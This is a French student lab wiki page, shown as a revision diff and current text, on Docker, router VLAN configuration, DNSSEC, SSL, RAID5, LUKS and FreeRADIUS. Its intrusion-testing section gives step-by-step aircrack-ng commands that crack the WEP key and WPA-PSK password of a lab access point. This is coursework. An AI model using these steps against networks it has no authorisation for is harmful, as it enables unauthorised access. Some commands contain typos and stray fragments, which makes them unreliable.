TP sysres IMA5sc 2018/2019 G11 : Différence entre versions

De Wiki d'activités IMA
(→‎fin de configuration du routeur)
(→‎5.3 Cassage de mot de passe WPA-PSK par force brute)
 
(75 révisions intermédiaires par 2 utilisateurs non affichées)
Ligne 2 : Ligne 2 :
  
 
Lors de ce TP nous allons apprendre à utiliser docker. Dans un premier temps nous réaliserons à la main 3 dockers interconnectés à l'aide d'un commutateur virtuel puis nous utiliserons directement la solution Docker.
 
Lors de ce TP nous allons apprendre à utiliser docker. Dans un premier temps nous réaliserons à la main 3 dockers interconnectés à l'aide d'un commutateur virtuel puis nous utiliserons directement la solution Docker.
 +
Ensuite nous travaillerons avec l'ensemble de la promotion au montage d'une infrastructure réseau complète, notre binôme aura pour tâche spécifique la configuration d'un routeur en plus des tâches individuelles de chaque binômes.
  
 
= Déroulé du TP=
 
= Déroulé du TP=
Ligne 346 : Ligne 347 :
 
  standby 11 ip 10.60.11.254
 
  standby 11 ip 10.60.11.254
  
 +
interface BDI12
 +
ip address 10.60.12.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.12.254
 +
 +
interface BDI13
 +
ip address 10.60.13.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.13.254
 +
 +
interface BDI14
 +
ip address 10.60.14.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.14.254
 +
 +
interface BDI15
 +
ip address 10.60.15.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.15.254
 +
 +
interface BDI16
 +
ip address 10.60.16.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.16.254
  
 +
interface BDI17
 +
ip address 10.60.17.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.17.254
  
 +
interface BDI18
 +
ip address 10.60.18.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.18.254
  
−
// il y a peut etre une erreur sur la BDI12 et BDI19 suite à une erreur de communication avec le routeur
+
interface BDI19
 +
ip address 10.60.19.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.19.254
 +
 
 +
interface BDI20
 +
ip address 10.60.20.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.20.254
 +
 
 +
interface BDI21
 +
ip address 10.60.21.253/24 255.255.255.000
 +
standby version 11
 +
standby 11 ip 10.60.21.254
  
 
==Séance 2 : 26/11/2018==  
 
==Séance 2 : 26/11/2018==  
Ligne 356 : Ligne 402 :
  
 
==Séance 3 : 10/12/2018==
 
==Séance 3 : 10/12/2018==
 +
====spanning tree====
 +
Spanning-tree pvst
 +
Nous permet d'éviter le rebouclage ARP entre les routeurs.
 +
 
====fin de configuration du routeur====
 
====fin de configuration du routeur====
  
Ligne 364 : Ligne 414 :
  
 
====2.1  Installation dans la machine virtuelle Xen====
 
====2.1  Installation dans la machine virtuelle Xen====
−
Nous allons ici partitionner var et home :
+
Nous allons ici partitionner var et home pour notre VM:
  
 
====4 Services Internet====
 
====4 Services Internet====
Ligne 373 : Ligne 423 :
  
 
===== 4.2 Serveur DNS=====
 
===== 4.2 Serveur DNS=====
−
Installation de bind
+
 
 +
En attendant que le certificat SSL de notre serveur soit validé, on commence à configurer notre serveur DNS pour en faire un DNSSEC (un DNS sécurisé).
 +
 
 +
Dans un premier temps, nous installons apache2 et bind9 dans notre VM.
 +
apache2 va nous permettre de gérer notre siteweb et bind9 de gérer le serveur DNS.
 +
 
 
  apt update
 
  apt update
 
  apt-get install bind9 dnsutils
 
  apt-get install bind9 dnsutils
 +
apt-get install apache2
 +
======Configuration sur Gandi======
 +
 +
Sur Gandi, une plateforme d'enregistrement notamment des sites webs et DNS, nous achetons un nom de domaine :
 +
 +
ate2.space
 +
 +
Nous voulons ensuite que notre site web puisse être accessible depuis l'extérieur, notamment grâce à un DNS personnel.
 +
Pour cela, nous enregistrons un nouveau serveur DNS dans Gandi qui ne sera visible que dans notre domaine.
 +
Nous affectons l'adresse ip de notre VM à ce DNS:
 +
 +
[[Fichier:Name_server_canu.PNG|600px|center]]
 +
[[Fichier:Dns_glue_record_canu.PNG|600px|center]]
 +
 +
A présent que le DNS est créé, il faut préciser qu'on souhaite qu'il soit utilisé pour la recherche de notre site web.
 +
 +
======Configuration sur la VM======
 +
 +
A présent, on doit configurer notre VM afin de jouer le rôle de serveur DNS.
 +
 +
Pour cela, tout se fera dans le répertoire /etc/bind.
 +
 +
Dans un premier temps, on crée un fichier de config <code>db.ate2.space</code> :
 +
 +
@      IN      SOA    ns.ate2.space. root.ate2.space (
 +
                        2          ; Serial
 +
                        604800      ; Refresh
 +
                        86400      ; Retry
 +
                        2419200    ; Expire
 +
                        604800 )    ; Negative Cache TTL
 +
;
 +
        IN      NS      ns.ate2.space
 +
@      IN      A      193.48.57.187
 +
ns      IN      A      193.48.57.187
 +
www    IN      A      193.48.57.187
 +
 +
Ensuite on va configurer l'espace de noms, dans <code>named.conf.local</code> pour lui préciser quel fichier de configuration utiliser pour le DNS :
 +
 +
zone "ate2.space" {
 +
        type master;
 +
        file "/etc/bind/db.ate2.space";
 +
        allow-transfer{none;}; //Précise si il doit questionner d'autres serveurs DNS jusqu'à trouver l'adresse correspondante
 +
};
 +
 +
On active le serveur DNS, avec <code>named.conf.options</code> :
 +
 +
options {
 +
        directory "/var/cache/bind";
 +
 +
        //............//
 +
 +
        dnssec-enable yes;
 +
        dnssec-validation auto;
 
   
 
   
 +
        listen-on-v6 { any; };
 +
        allow-recursion { localhost; };
 +
};
 +
 +
Et finalement on redémarre le service Bind9 :
 +
 +
service bind9 restart
 +
 +
On vérifie si le domaine est accessible avec la commande suivante :
 +
 +
host ate2.space
 +
 +
==Séance 4 : 17/12/2018==
 +
===== Configuration routeur =====
 +
Lors de la semaine le routeur, probablement lors d'un shutdown, s'est rallumé en pointant vers le mauvais os ce qui a eu pour effet de modifier la configuration pour cause d'incompatibilité. A notre arrivée le VLAN1 était down sans que l'on comprenne pourquoi.
 +
Tout d'abord la configuration du Vlan1 doit se faire sans encapsulation et untag. Cependant le problème a subsisté.
 +
 +
Après quelques recherches nous n'avons pas trouvé l'origine du problème cependant un simple reload du router à réglé le problème.
 +
Toutefois Le fait de changer le vlan en untag empêche le spanning tree de fonctionner et ne nous protège donc pas d'un effondrement du réseau par appel récursif de paquets.
 +
Nous avons donc du nous résoudre à ne laisser qu'un seul vlan1 sur un des deux routeurs pour éviter ce problème.
 +
 
===== 4.3 Sécurisation de site web par certificat=====
 
===== 4.3 Sécurisation de site web par certificat=====
 +
==== Création du certificat avec OpenSSL ====
 +
On génère avec OpenSSL deux fichiers, <code>ate.csr</code> et ate.space.key qui contiennent respectivement le Certificate Signing Request (CSR) et la clé.
 +
 +
openssl req -nodes -newkey rsa:2048 -sha1 -keyout ate.space.key -out ate.csr
 +
  -rsa:2048  -sha1 : représente la méthode de chiffrement
 +
  -newkey : demande une nouvelle clé
 +
 
 +
Sur Gandi on va pouvoir acheter le certificat. On lui transmet le .csr généré, qui regroupe toutes les informations sur notre entité.
 +
Gandi créera alors un certificat SSL pour notre serveur. Cependant, Gandi doit être certaine que ce certificat est bien pour l'entité qui la demande et non pour
 +
une personne tierce qui essaierait de se faire passer pour un autre serveur. Pour se faire, il y a plusieurs méthode d'authentification:
 +
- par mail
 +
- par fichier
 +
- par DNS
 +
Nous avons choisi l'authentification par fichier. Gandi génère alors un fichier contenant un nom et un contenu généré aléatoirement.
 +
On doit placer ce fichier dans notre serveur dns. Il est alors accessible par l'extérieur. Gandi peut alors le visualiser et déterminer ainsi qu'on est bien le propriétaire du serveur.
 +
Si ce n'était pas le cas, nous n'aurions pas pu mettre ce fichier sur le serveur officiel. Gandi n'aurait alors pas pu visualiser le fichier et ne nous aurait pas validé le certificat.
 +
 +
La validation a pris 4 heures. Gandi nous a ensuite délivré le certificat.
 +
 +
On place alors la clé, le certificat intermédiaire et le certificat final aux emplacements suivants :
 +
/etc/ssl/certs/GandiStandardSSLCA2.pem
 +
 +
/etc/ssl/certs/ate2.space.crt
 +
                                                                   
 +
/etc/ssl/private/ate2.space.key                                                                 
 +
 +
Ensuite on ajoute ces fichiers dans une nouvelle configuration dans /etc/apache2/sites-available : 000-neptune-poseidon.space-ssl.conf
 +
 +
      <VirtualHost 193.48.57.187:443>
 +
              ServerName www.ate2.space
 +
              ServerAlias ate2.space
 +
              DocumentRoot /var/www/html/
 +
              CustomLog /var/log/apache2/secure_acces.log combined
 +
 +
              SSLEngine on
 +
              SSLCertificateFile /etc/ssl/ate2.space.crt
 +
              SSLCertificateKeyFile /etc/ssl/ate2.space.key
 +
              SSLCertificateChainFile /etc/ssl/GandiStandardSSLCA2.pem
 +
              SSLVerifyClient None
 +
      </VirtualHost>
 +
 +
Dans ce même fichier on ajoute une redirection pour être toujours connecté en https :
 +
 +
                ---------------------------
 +
      <VirtualHost 193.48.57.187:80>
 +
              ServerName www.ate2.space
 +
              ServerAlias ate2.space
 +
              Redirect / https://ate2.space
 +
      </VirtualHost>
 +
 +
On active le module ssl :
 +
 +
a2enmod ssl
 +
 +
On se place dans le répertoire : <code>/etc/apache2/site-enabled/</code>, puis on active notre configuration ssl :
 +
 +
a2ensite 000-ate2.space-ssl.conf
 +
 +
On relance le service apache2 :
 +
 +
service apache2 restart
 +
 +
==== Configuration d'apache2 ====
 +
 +
  
 
===== 4.4 Sécurisation de serveur DNS par DNSSEC=====
 
===== 4.4 Sécurisation de serveur DNS par DNSSEC=====
  
−
====5 Tests d’intrusion====
+
Maintenant que notre domaine est accessible par notre DNS, nous voulons rendre la liaison sécurisé. On va donc configurer notre serveur DNS en mode "secure"
−
=====5.1 intrusion par changement d'adresse MAC=====
+
 
 +
On va générer des clés KFK et ZSK avec l'algorithme RSA/SHA-1.
 +
 
 +
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE ate2.space
 +
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE ate2.space
 +
 
 +
On récupère alors 4 fichiers. Chaque couple de fichier correspond une des 2 clés. Dans ce couple, le fichier contient soit la clé publique, soit la clé privée.
 +
 
 +
On va alors les renommer en gardant leurs suffixes, mais en précisant quelle clé correspond à quoi:
 +
 
 +
ate2.space-kfk.key //clé publique
 +
ate2.space-kfk.private //clé privée
 +
ate2.space-zsk.key
 +
  ate2.space-zsk.private
 +
 
 +
On retourne ensuite dans le fichier de configuration créé pour notre DNS : <code>db.ate2.space</code>.
 +
On va rajouter le chemin des 2 clés générées:
 +
 
 +
$include /etc/bind/ate2.space-ksk
 +
$include /etc/bind/ate2.space-zsk
 +
 
 +
Ces deux lignes sont à rajouter après <code>TTL 604800</code>
 +
 
 +
On va à présent signer une zone, cela va crypter le fichier de configuration du DNS, qui sera utilisé pour les futures requêtes au DNS.
 +
 
 +
dnssec-signzone -o ate2.space -k ate2.space-ksk ../db.ate2.space ate2.space-zsk
 +
 
 +
On restart le service bind
  
 +
Et on entre les 2 clés publiques générées dans Gandi.
 +
 +
==5  Tests d’intrusion==
 
====5.2  Cassage de clef WEP d’un point d’accès Wifi====
 
====5.2  Cassage de clef WEP d’un point d’accès Wifi====
 +
En suivant la même logique que pour le crackage de clé WAP:
 +
 +
airmon-ng
 +
airmon-ng start wlan0
 +
airodump-ng --encrypt wep wlan0mon
 +
 +
On récupère les informations de cracotte10  et on lance la commande:
 +
airodump-ng -c 12 –-bssid 04:DA:D2:9C:50:53 -w /root/Desktop/WEP wlan0mon
 +
 +
Et on force la connection avec :
 +
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:59 wlan0mon
 +
 +
 +
une fois récupéré un nombre significatif de date, environ 100 000, nous allons arrêter le processus et lancer la commande suivante :
 +
aircrack-ng WEP.cap
 +
 +
 +
On obtient ainsi la clé WEP de notre point d'accès!
 +
 +
[[Fichier:G12_cleWEP.jpg|600px|center]]
 +
 
====5.3  Cassage de mot de passe WPA-PSK par force brute====
 
====5.3  Cassage de mot de passe WPA-PSK par force brute====
 +
 +
Pour le cassage de la clé WPA nous allons :
 +
- récupérer les fichiers de handshake
 +
- générer un dictionnaire contenant toutes les possibilités de mot de passe
 +
- lancer le brute force du handshake
 +
 +
Nous avons utilisé un ordinateur portable (possédant donc une carte wifi) puis utilisé l'utilitaire suivant :
 +
airmon-ng
 +
 +
On connait à présent le nom de l'interface et on s'y connecte en mode moniteur pour analyser le réseau :
 +
 +
passage en mode moniteur :
 +
airmon-ng start wlan0
 +
 +
affichage du trafic:
 +
airodump-ng wlanS0mon
 +
 +
On récupère ensuite le nom du wifi que l'on veut craquer, dans notre cas ce sera cracotte10
 +
BSSIID de cracotte: 04:DA:D2:9C:50:59
 +
channel : 9
 +
 +
On fait le handshake :
 +
airodump-ng -c 9 –-bssid 04:DA:D2:9C:50:59 -w /root/Desktop/Amaury wlanS0mon
 +
 +
 +
Après avoir attendu un certain temps nous avons récupéré les fichiers suivants :
 +
Amaury-01.cap
 +
Amaury-01.csv
 +
Amaury-01.kismet.csv
 +
Amaury-01.kismet.netxml
 +
 +
Nous avons ensuite générer le dictionnaire contenant toutes les possibilités de mot de passe, il s'agit simplement d'un fichier texte contenant tout les nombres de 0 à 100000000.
 +
 +
On peut réaliser le crackage de la clé :
 +
aircrack-ng -a2 -b 04:DA:D2:9C:50:59 -w /root/Desktop/Dictionnary.txt /root/Desktop/*.cap
 +
 +
-a indique la méthode de crack
 +
 +
Nous avons après plusieurs heures obtenus la clé WAP du point d'accès!
 +
 +
[[Fichier:Clef_wpa.png|600px|center]]
 +
 +
==6 réalisation==
 +
 +
===6.1  Sécurisation de données avec RAID5===
 +
 +
 +
Nous allons ensuite créer 4 partitions LVM de 1Go sur Cordouan avec des noms liés à notre VM :
 +
 +
lvcreate -L1G -n /dev/virtual/AteRaid1 -v
 +
lvcreate -L1G -n /dev/virtual/AteRaid2 -v
 +
lvcreate -L1G -n /dev/virtual/AteRaid3 -v
 +
lvcreate -L1G -n /dev/virtual/AteRaid4 -v // utile pour 6.2
 +
 +
On modifie alors le fichier de configuration de notre machine afin d'ajouter les partitions précédentes à notre machine virtuelle.
 +
Dans /etc/xen/Ate.cfg :
 +
'phy:/dev/virtual/AteRaid1,xvda5,w',
 +
'phy:/dev/virtual/AteRaid2,xvda6,w',
 +
'phy:/dev/virtual/AteRaid3,xvda7,w'
 +
 +
On relance enfin notre VM :
 +
 +
xl shutdown Ate
 +
xen create Ate.cfg
 +
 +
 +
On peut donc générer un système RAID5 logiciel à l'aide des 3 partitions obtenues :
 +
Sur la Xen
 +
 +
apt-get install mdadm
 +
 +
mdadm --create /dev/md127 --level=5 --assume-clean --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
 +
 +
 +
On formate le RAID5 créé:
 +
mkfs -t ext4 /dev/md127
 +
 +
On le monte sur notre VM:
 +
mount /dev/md127 /mnt
 +
 +
===6.2  Cryptage de données===
 +
 +
Le but ici est de formater un volume en mode crypté.
 +
 +
Nous utiliserons ici le volume créé juste au dessus AteRaid4 sur la Zabeth11 correspondant au xvda8 de notre VM
 +
 +
on l'ajoute au fichier de configuration de notre VM sur Corduan en tant que volume physique.
 +
 +
disk        = [
 +
                  'file:/usr/local/xen/domains/Ate/disk.img,xvda2,w',
 +
                  'file:/usr/local/xen/domains/Ate/swap.img,xvda1,w',
 +
                  'phy:/dev/virtual/IMA5-Ate-home,xvda3,w',
 +
                  'phy:/dev/virtual/IMA5-Ate-var,xvda4,w',
 +
                  'phy:/dev/virtual/ateRaid1,xvda5,w',
 +
                  'phy:/dev/virtual/ateRaid2,xvda6,w',
 +
                  'phy:/dev/virtual/ateRaid3,xvda7,w',
 +
                  'phy:/dev/virtual/ateRaid4,xvda8,w'
 +
              ]
 +
 +
Ensuite sur notre VM, on installe <code>cryptsetup</code> et <code>LVM2</code>
 +
 +
On va à présent configurer notre volume pour le rendre crypté, inaccessible sans le mot de passe.
 +
 +
Formatage de la partition avec encryptage :
 +
cryptsetup luksFormat -c aes -h sha256 /dev/xvda8
 +
 +
On crée ensuite un volume virtuel (home_encrypted) sur le volume physique (xvda8)
 +
cryptsetup luksOpen /dev/xvda8 home_crypted
 +
 +
On nous demande alors un mot de passe pour les prochaines connexions
 +
 +
On formate notre volume en ext4
 +
mkfs -t ext4 /dev/mapper/home_encrypted
 +
 +
On le monte ensuite sur /mnt
 +
mount -t ext4 /dev/mapper/home_crypted /mnt/
 +
 +
On y crée un fichier <code>/mnt/testFile</code>
 +
 +
On démonte /mnt
 +
umount /mnt
 +
 +
Puis on ferme la communication sur le volume crypté
 +
cryptsetup luksClose home_crypted
 +
 +
A présent, on ne peut plus avoir accès au volume <code>/dev/mapper/home_crypted</code> tant qu'on en s'est pas reconnecté avec <code>cryptsetup</code>
 +
 +
Pour pouvoir y raccéder, il suffit:
 +
 +
cryptsetup luksOpen /dev/xvda8 home_crypted
 +
mount -t ext4 /dev/mapper/home_crypted /mnt/
 +
 +
Et normalement, on devrait retrouver notre fichier <code>testFile</code>
 +
 +
 +
 +
 +
====6.5 Freeradius ====
 +
FreeRadius est un serveur modulaire, aujourd'hui nous l'utiliserons pour l'authentification sur notre réseau pour les utilisateurs d'un point d'accès Wifi.
 +
 +
configuration du Point d'accès :
 +
enable
 +
 +
conf t
 +
aaa new-model
 +
aaa group server radius radius_group21
 +
server 193.48.57.180 auth-port 1812 acct-port 1813
 +
radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secretIMA5SC
 +
exit
 +
aaa authentication login eap_group21 group radius_group21
 +
end
 +
 +
conf t
 +
dot11 ssid Hades
 +
vlan 21
 +
authentication open eap eap_group21
 +
authentication network-eap eap_group21
 +
authentication key-management wpa
 +
Mbssid Guest-mode
 +
end
 +
 +
conf t
 +
int dot11radio0
 +
Mbssid
 +
ssid Hades
 +
encryption vlan 21 mode ciphers aes-ccm tkip
 +
 +
conf t
 +
int dot11radio0.11
 +
encapsulation dot1Q 21
 +
end
 +
conf t
 +
int dot11radio0.11
 +
encapsulation dot1q 21
 +
bridge-group 21
 +
end
 +
 +
Attention si on souhaite relancer FreeRadius ne pas oublier de kill le processus précèdent sinon la connexion ne pourra pas se faire le port étant déjà pris!
 +
 +
Nous avons pu confirmer la connexion entre notre serveur freeRadius et le point d'accès.
 +
 +
[[Fichier:MyFREEradiusG12.png]]

Version actuelle datée du 1 janvier 2019 à 23:29

Présentation générale

Lors de ce TP nous allons apprendre à utiliser docker. Dans un premier temps nous réaliserons à la main 3 dockers interconnectés à l'aide d'un commutateur virtuel puis nous utiliserons directement la solution Docker. Ensuite nous travaillerons avec l'ensemble de la promotion au montage d'une infrastructure réseau complète, notre binôme aura pour tâche spécifique la configuration d'un routeur en plus des tâches individuelles de chaque binômes.

Déroulé du TP

Conteneur à la main

Séance 1 : 12/11/2018

Etapes réalisées : création de 3 systèmes de fichiers c1,c2,c3

On peut vérifier l'isolation de nos conteneurs en faisant df -h ou une fois le unshare réalisé en tapant le ps aux

création du commutateur virtuel : monpont.

On peut vérifier sa bonne activation avec la commande  : brctl show

création des interfaces virtuel

Pour chacun des conteneurs on va créer une interface virtuel vifX qui relieront chacune "monpont" à un conteneur. Un des conteneurs sera relié au bridge de la zabeth afin de nous relier au monde extérieur, ce sera lui le mandataire inverse. Pour nous il s'agit de C1. On peut vérifier la bonne liaison entre le conteneur et le commutateur logiciel en tapant ip l dans chacun des conteneurs et en regardant les interfaces reliées à brctl show.

Attention, parfois Docker est source de problèmes pour nos manipulations, pour s'en débarrasser on tape les commandes suivantes : 

iptables -F
iptables -F -t nat
iptables -P FORWARD ACCEPT


On va maintenant ajouter une IP à chaque interface virtuel pour être capable réaliser un ping depuis le réseau. Pour cela on se sert de ip address add et de ip route add.

sur chaque conteneur : ip address add dev eth0 192.168.0.x ip l set eth0 up

on vérifie en faisant ip r et on peut pinger nos machines entres elles !


Attention : tout les ip add seront supprimées au prochain reboot. Probablement de même pour les interfaces virtuels.

Séance 2 : 19/11/2018

Objectif de la séance : installer reverse proxy sur un conteneur et 2 serveurs web sur les autres.

Lors du démarrage de la séance pour ressusciter ce que l'on avait fait la dernière fois: 

mkdir c1,c2,c3

copie base fichiers 

export https_proxy="https://proxy.polytech-lille.fr:3128"
export http_proxy="http://proxy.polytech-lille.fr:3128"
debootstrap --include=apache2,vim stable /tmp/c1 // de même pour c2 et c3

Montage media 

mount -o loop /home/pifou/firstconteneur /tmp/c1 // de même pour c2 et c3
mount -o loop /home/pifou/firstconteneur2 /tmp/c2
mount -o loop /home/pifou/firstconteneur3 /tmp/c3

Création machine 

unshare -p -f -m -n -u chroot /tmp/c1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /tmp/c2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /tmp/c3 /bin/sh -c "mount /proc ; /bin/bash"


Création du commutateurs virtuels et des interfaces virtuels 

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth0@vif4

ip link set vif1 master monpont
ip link set vif2 master monpont
ip link set vif3 master monpont
ip link set vif4 master monpont

Activation de monpont et des vifs 

ip link set dev monpont up
ip link set dev vif1 up
ip link set dev vif2 up
ip link set dev vif3 up
ip link set dev vif4 up

Connection: (numero de PID arbitraire) 

ip link set eth0@vif2 netns /proc/27880/ns/net name eth0 // pour vif 1 
ip link set eth0@vif2 netns /proc/27879/ns/net name eth0 // pour vif 2
ip link set eth0@vif2 netns /Bcanuproc/27881/ns/net name eth0 // pour vif 3
ip link set eth0@vif2 netns /proc/27882/ns/net name eth0 // pour vif 4




(numéro de PID arbitraire)
nsenter -t 27879 -n ip address add dev eth0 192.168.0.2/24 //pour C1 
nsenter -t 27880 -n ip address add dev eth0 192.168.0.3/24 //pour C2 
nsenter -t 27881 -n ip address add dev eth0 192.168.0.4/24 //pour C3

pour eth1, on cherche une IP valable dans le réseau du bridge, soit une IP qui ne donne rien quand on la ping puis : 

nsenter -t 27879 -n ip address add dev eth1 172.26.145.45/24 // pour que c1 soit le mandataire inverse 
ip link set eth1 up // dans le conteneur c1

Dans chaque conteneur : 

ip link set eth0 up
ip link set dev lo up


Nous pouvons à présent pinger les 3 machines entre elles et depuis la machine physique. Paramétrage du mandataire inverse : On inscrit sur gandi.net 2 sitBcanues : websiteun et websitedeux.

Dans etc/apache2/sites-available/000-default.conf de notre conteneur C1 qui fait office de mandataire inverse: 

< VirtualHost *:80> 
ServerName websinteun.plil.space
ProxyPass "/web1" "http://192.1680.3/"
ProxyPassReverse "/web1" "http://192.168.0.3/"

ProxyPass "/web2" "http://192.1680.4/"
ProxyPassReverse "/web2" "http://192.168.0.4/"

ProxyRequests Off
</VirtualHost > 

ip route add default via 172.26.145.254

Il faut démarrer le serveur apBcanupache sur les deux conteneurs de base.


Au final nous pouvons accéder à nos deux conteneurs selon l'URL rentrée : 

websiteun.plil.space/ --> accès sur le conteneur C2
websitedeux.plil.space/ --> accès sur le conteneur C3

11h25 => Serveurs Web OK (unshare)

Docker

Séance 2 : 19/11/2018

résumé des tâches à réaliser

1- docker run -t -i debian 2- installer apache et vi (export http htpps si besoin) 3- en dehors du conteneur : docker commit monNom pour sauvegarder l'image de ce conteneur 4- on peut sortir 5- docker image 6-réseau privé: docker network create à faire avant 7- lancer 3 docker --net nomdemonreseau avec un conteneur que je lance en --p:80.

Réalisation:

Dans etc/default/docker : on doit commenter Docker opts ="--iptables=false" 

service docker restart
iptables-save

Ensuite on peut lancer notre docker avec 

docker run -t -i debian

Puis on exporte les variables d'environnements pour le proxy et on peut faire 

apt update 
apt install apache2
apt install vi

Ensuite on sort du conteneur en faisant exit 

docker image //nous permet de voir les différents docker disponible
docker commit ID debian_apache// nous permet de sauvegarder ce docker avec cette configuration

On crée le réseau privé : docker network create OurReseau

On peut lancer 3 dockers en parrallèle : docker run -i -t --network=OurReseau debian_apache docker run -i -t --network=OurReseau debian_apache docker run -i -t --network=OurReseau -p:80 debian_apache // Docker écoute sur le port 80


On récupère les adresses ip des deux conteneurs serveur web en faisant: 

ip a

Dans notre docker mandataire inverse on vient copier le même fichier de configuration que pour le conteneur à la main en pensant juste à modifier les ip Il ne faut pas oublier d'activer proxy et proxyhttps avec a2enmod

Ensuite sur gandi on crée deux nouveaux sites et un nouveau mandataire. On configure avec l'ip de la zabeth.

On teste les adresses suivantes : c2.plil.space c1.plil.space

On constate que tout fonctionne parfaitement!

12h50 : Serveurs WEB (docker) OK

Réseau avancé

Séance 1 : 26/11/2018

Analyse et choix d'organisation

Nous avons choisi la partie numéro 2 à savoir la configuration du routeur 4221


Avant de commencer à configurer le routeur nous nous sommes mis d'accord avec le groupe s'occupant de l'autre routeur ainsi que celui s'occupant du point d'accès pour l'organisation et la répartition des différentes adresses IP. Il a également fallu vérifier ce que le groupe des IMA2A avait fait pour ne pas entrer en collision avec ce qu'ils ont fait.

Voici ce que les IMA2A ont fait :

Nom Vlan Réseau IPV4 Réseau IPV6 IP Routeur 1 IP Routeur 2 IP Routeur Virtuel
Xen 42 193.48.57.160/28 2001.660.4401.60B1::/64 193.48.57.174/28 193.48.57.173/28 193.48.57.172/28
Groupe 1 2 10.60.1.0/24 2001.660.4401.60B2::/64 10.60.1.254/24 10.60.1.253/24 10.60.1.252/24
Groupe 2 3 10.60.2.0/24 2001.660.4401.60B3::/64 10.60.2.254/24 10.60.2.253/24 10.60.2.252/24
Groupe 3 4 10.60.3.0/24 2001.660.4401.60B4::/64 10.60.3.254/24 10.60.3.253/24 10.60.3.252/24
Groupe 4 5 10.60.4.0/24 2001.660.4401.60B5::/64 10.60.4.254/24 10.60.4.253/24 10.60.4.252/24
Groupe 5 6 10.60.5.0/24 2001.660.4401.60B6::/64 10.60.5.254/24 10.60.5.253/24 10.60.5.252/24
Interconnexion 130 192.168.222.0/29 Router1 : fe80::42:2 // Router2 : fe80::42:3 // Ecole : fe80::42:1 192.168.222.1/29 192.168.222.2/29


On remarque que les adresses prises par eux se trouvent après 193.48.57.174/28 ce qui nous laissent toutes les adresses inférieures. Pour le réseau 10.60.X.0/24 nous pouvons prendre les adresses avec X >5 On peut donc attribuer d'ores et déjà les adresses suivantes : 193.48.57.188 Routeur 1 193.48.57.189 Routeur 2 193.48.57.190 Machine virtuel

On attribue donc les adresses suivantes sur le Réseau IPV4

on a choisi la convention suivantes : les groupes obtiennent l'ip 10.60.10+numeroDeGroupe.0/24

Configuration du commutateur

Connexion avec Minicom

Nous nous sommes connectés directement via USB au routeur pour ensuite taper les commande suivantes 

demesg | grep tty // nous permet de vérifier que nous sommes bien connectés au commutateur
minicom -os

Dans minicom on indique les informations de configuration : 

baudrate : 9600
/ttyACM0
Hardware flow control : No

Configuration du commutateur

Nous avons 3 port GIGABIT disponible, GIGABIT 0 : relié au commutateur de l'école GIGABIT 1 : relié au commutateur 4006 par fibre GIGABIT 2 : relié au commutateur 6000 par cuivre

pour connaitre les interfaces disponibles: 

show run

D'autres commandes de bases très utiles : 

write // permet de sauvegarder la configuration
Configuration de l'interface pour le commutateur de l'école :
enable // passage en root 
configure terminal
interface GigabitEthernet0/0/1
no ip address
negotiation auto

service instance 11 ethernet
encapsulation dot1q 11
rewrite ingress tag pop 1
bridge-domain 11

service instance 12 ethernet
encapsulation dot1q 12
rewrite ingress tag pop 1
bridge-domain 12

service instance 13 ethernet
encapsulation dot1q 13
rewrite ingress tag pop 1
bridge-domain 13

...Et ainsi de suite jusque: 

service instance 21 ethernet
encapsulation dot1q 21
rewrite ingress tag pop 1
bridge-domain 21


service instance 43 ethernet
encapsulation dot1q 43
rewrite ingress tag pop 1
bridge-domain 43
 
service instance 131 ethernet
encapsulation dot1q 131
rewrite ingress tag pop 1
bridge-domain 131


Configuration des BDI :

On vient ici indiquer une adresse IP à chaque Vlan 

interface BDI11
ip address 10.60.11.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.11.254

interface BDI12
ip address 10.60.12.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.12.254

interface BDI13
ip address 10.60.13.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.13.254

interface BDI14
ip address 10.60.14.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.14.254

interface BDI15
ip address 10.60.15.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.15.254

interface BDI16
ip address 10.60.16.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.16.254

interface BDI17
ip address 10.60.17.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.17.254

interface BDI18
ip address 10.60.18.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.18.254

interface BDI19
ip address 10.60.19.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.19.254

interface BDI20
ip address 10.60.20.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.20.254

interface BDI21
ip address 10.60.21.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.21.254

Séance 2 : 26/11/2018

Configuration du commutateur suite

Séance 3 : 10/12/2018

spanning tree

Spanning-tree pvst

Nous permet d'éviter le rebouclage ARP entre les routeurs.

fin de configuration du routeur

root@cordouan:/home# lvcreate -L10G -n IMA5-Ate-home virtual 

 Logical volume "IMA5-Ate-home" created.

root@cordouan:/home# lvcreate -L10G -n IMA5-Ate-var virtual 

 Logical volume "IMA5-Ate-var" created.

2.1 Installation dans la machine virtuelle Xen

Nous allons ici partitionner var et home pour notre VM:

4 Services Internet

4.1 Serveur ssh

Activation de ssh (déjà installé) : 

sudo systemctl enable ssh
sudo systemctl start ssh
4.2 Serveur DNS

En attendant que le certificat SSL de notre serveur soit validé, on commence à configurer notre serveur DNS pour en faire un DNSSEC (un DNS sécurisé).

